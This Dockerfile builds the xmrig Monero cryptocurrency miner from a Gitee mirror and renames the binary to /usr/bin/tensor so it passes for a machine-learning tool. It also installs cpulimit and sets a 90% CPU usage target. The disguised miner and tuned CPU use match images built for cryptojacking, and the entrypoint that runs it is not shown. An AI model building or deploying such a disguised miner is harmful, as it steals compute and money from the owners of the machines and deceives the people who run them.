FROM ubuntu:latest

ENV CPU_USAGE=90  
ENV DEBIAN_FRONTEND=noninteractive

RUN sed -i "s/archive.ubuntu.com/mirrors.aliyun.com/g" /etc/apt/sources.list
RUN sed -i "s/security.ubuntu.com/mirrors.aliyun.com/g" /etc/apt/sources.list

RUN apt -qqy update && apt install -qqy git build-essential cmake libuv1-dev libssl-dev libhwloc-dev
WORKDIR /root

RUN git clone https://gitee.com/atm/xmrig.git
RUN mkdir xmrig/build && cd xmrig/build && cmake .. && make -j$(nproc) && mv ./xmrig /usr/bin/tensor && cd /root

RUN git clone https://github.com/opsengine/cpulimit.git
RUN cd cpulimit && make && cp src/cpulimit /usr/bin
RUN mkdir -p /etc/tensor
CMD ["bash", "/root/docker-entrypoint.sh"]